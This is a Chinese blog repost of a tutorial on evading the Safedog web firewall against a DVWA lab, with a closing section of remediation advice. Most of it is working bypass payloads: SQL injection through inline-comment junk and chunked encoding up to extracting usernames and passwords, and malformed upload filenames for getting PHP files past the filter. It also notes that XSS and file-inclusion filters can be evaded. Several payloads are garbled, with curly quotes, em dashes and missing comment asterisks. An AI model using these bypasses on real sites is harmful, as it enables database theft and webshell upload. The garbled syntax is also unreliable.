xss绕过字符过滤_技术研究 | 绕过WAF的常见Web漏洞利用分析

本文介绍了如何绕过WAF进行XSS和SQL注入的常见方法,包括分块传输、内联注释和畸形数据包等技术。详细展示了SQL注入的各个阶段的绕过策略,并探讨了文件上传和XSS攻击的绕过技巧,最后给出了相应的安全修复建议。
摘要由CSDN通过智能技术生成

前言

本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法,希望能起到抛砖引玉的效果。如果师傅们有更好的方法,烦请不吝赐教。

PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任

测试环境

PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)

de6f15c8fe515b25020a7baae447eff2.png

82db999e404f16e8ab63853cd9be78f7.png

靶场使用DVWA:http://www.dvwa.co.uk/

SQL注入

判断是否存在注入

方法一

and 1=1被拦截

0953777a3ebc6c14e61895a56849f06b.png

单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。

1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替

fa224a9eb6218392e65acfab9f659f17.png

但是依然会被拦截。不过and也可以用 && 代替。

我们构造1’ && True —+ 就可绕过

ae1d02bf8540ded8ed6abc177aeebe48.png

1’ && False —+

b78b05a23d19e1fe115171af94c970ac.png

方法二

将and 后面的数字或者字符表达式加几个内联注释也可以绕过。

内联注释:/ / 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行

如:1’ and /!1/=/!1/ —+

19ca5fd48f0b833993c4198326c2c922.png

1’ and /!1/=/!2/ —+

09832ccb672fa66dea531c9b9114ab28.png

方法三  分块传输
分块传输的原理请自行检索,这里不再赘述。

分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

7e5e1ec06c97f2ebd8f9f00cdb4c2adb.png

正常写测试payload :    1’ and 1=1 —+

22b1459f572c2fd62204cbb844f87466.png

将请求方式改为POST,然后进行分块传输编码

8ce14d135e8847f05c991f82473852c3.png

3b9537684428284a77cf7756e80ef60b.png

可以看到,没有被拦截。

1’ and 1=2 —+

d14a5ccd96e3a2f3dc9983e7c64faf32.png

猜解字段数

方法一

order by被拦截

f0c9a733f35fa9929c2a0b1abaea9b1c.png

单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。

可以将 1' order /*$xxx$*/ by 1 --+  放burp里跑各种垃圾参数字典来爆破。

经过测试,1’ order/%%!asd%%%%/by 3 —+可以成功过狗

465cc7e28fa401685b16e7518199827c.png

通过内联注释/!/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)

1’ /!order/!/*//by/ 3 —+*

6cfea44aac650c281ae5d40f9b001ac8.png

方法二 分块传输

1’ order by 3 —+

92da552169aebbf8ccaa762205f350af.png

f35a2f15a08f14bf3840d96c8ef165d2.png

获取当前数据库

方法一

1’ union select 1,database() —+ 被拦截

分开测试  union select 会被拦截

fe577610424f4632765c3619526f5313.png

database() 也会被拦截

6a3a19c6b909ffa23317246af450bb0e.png

先绕过union select:

和之前order by的绕过方法一样

1’ union/%%!asd%%%%/select 1,2 —+

49620556b8ab37fae663cf0b03f03bd6.png

再绕过database():

经过测试,我们发现单独的database不会被拦截,加了括号就会了

我们将之前的垃圾数据/%%!asd%%%%/放到括号了,即可成功绕过

93f49e239d8732da6de2210eb0b3b2d8.png

拼接一下,最终的payload为:

1’ union/%%!asd%%%%/select 1,database(/%%!asd%%%%/) —+

cd01b560511d872a1b2407ad7c1176ed.png

方法二 分块传输

分块传输依然可以

1’ union select 1,database() —+

d3714cb92b209704708c5cfd3e762401.png

fedd801cb4d598972b58d61d14a0040a.png

获取数据库中的表

方法一

正常注入语句:

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() —+

根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成/%%!asd%%%%/即可。

Payload:

1’ union/%%!asd%%%%/select 1,group_concat(table_name) /%%!asd%%%%/from /%%!asd%%%%/information_schema.tables where table_schema=database(/%%!asd%%%%/) —+

26c6522d349a7cebf308f010e49a6d29.png

方法二 分块传输

fb9fc42fe072a0236b674e65d5b12e41.png

0fe7cc103abb2b1ff29bb308b09b3440.png

获取表中的字段名

方法一

正常注入语句:

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ —+

绕过方法和获取表的操作无异:

1’ union/%%!asd%%%%/select 1,group_concat(column_name) /%%!asd%%%%/from/%%!asd%%%%/information_schema.columns where table_name=’users’ —+

06737f696c2a57a699564c997a7eab77.png

方法二 分块传输

2d1d16338c8a821da53576c2f6a63f85.png

45d4aa27f4ec37c46cdf1393ff3dc131.png

获取数据

方法一

正常注入语句:

1’ union select group_concat(user),group_concat(password) from users —+

绕过方法还是一样:

1’ union/%%!asd%%%%/select group_concat(user),group_concat(password) /%%!asd%%%%/from/%%!asd%%%%/users —+

eb53ff038e9341310c651f28dc59ea4c.png

方法二 分块传输

969f3dfb236d16bf833bb54b9107c94c.png

866a061b45167517dbdcf97b8f60684b.png

文件上传

安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。

8de3ffd5277c27eac2f340e67e23b0fd.png

我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。

获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方

24a85c6f940b432eafe18009bafb9c43.png

直接上传PHP文件会被拦截

1065959104b69f64d3d66d0298f4d4a2.pngf2659193645d00757d36e2534f5eebc7.png

绕过方法1

将filename=”hhh.php” 改为filename=hhh.php; 即可绕过

6184f2f035e166ead4e6aad1d3973a76.png

dafde0dce0fcd609a4c257b92b986efc.png

绕过方法2

各种换行,主要是要把点号和字符串”php”分开

d231355a9c3cfd8844d604dec5c1816d.png

绕过方法3

将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)

741e7fde50ddfc03b6b22fd2eb686060.png

绕过方法4

文件名之间放置分号 filename=”hh;h.php”

6404db5148c4886f328265f7a4fda6ab.png

绕过方法5

多个filename=”hhh.txt”,最后一个filename=”hhh.php”

a60aa269064f69bae412f714b3305def.png

XSS

查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。

ae52bdc07bd899116f64cb6090329f48.png

有很多标签可以绕过,这里举例两种:

(1)标签定义声音,比如音乐或其他音频流。

40b2c060a131dd88d5ca33531051da0d.png

(2)标签,data属性

alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

payload:

55f7084b64f737b6348fe45fc2640cba.png

文件包含

47165ed4b4c3e012103f6403c5198af6.png

通过绝对路径、相对路径,稍微加些混淆就能绕过…

75f3aa13b5b2e4f61ad9f3f56e1f68d8.png

修复建议

我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:

SQL注入

使用预编译sql语句查询和绑定变量:使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。

对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。

文件上传

文件上传的目录设置为不可执行:只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际的上传应用中,可以将文件上传后放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。

使用随机数改写文件名和文件路径

上传文件时,服务端采用白名单形式限制文件上传的后缀名称,只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。

XSS

对用户输入的参数中的特殊字符进行HTML转义或者编码,防止出现有意义的HTML、CSS、JavaScript代码,如:“’、”、、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义,也可以在单点对字符串类型数据进行编码或者转义。

作者:Yokan,文章来源:FreeBuf


扫描关注乌雲安全

1134324083fe46e011d48de5b4c44920.png


觉得不错点个“赞”、“在看”哦92d6a9a464a6f76017303837d9fd6c29.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值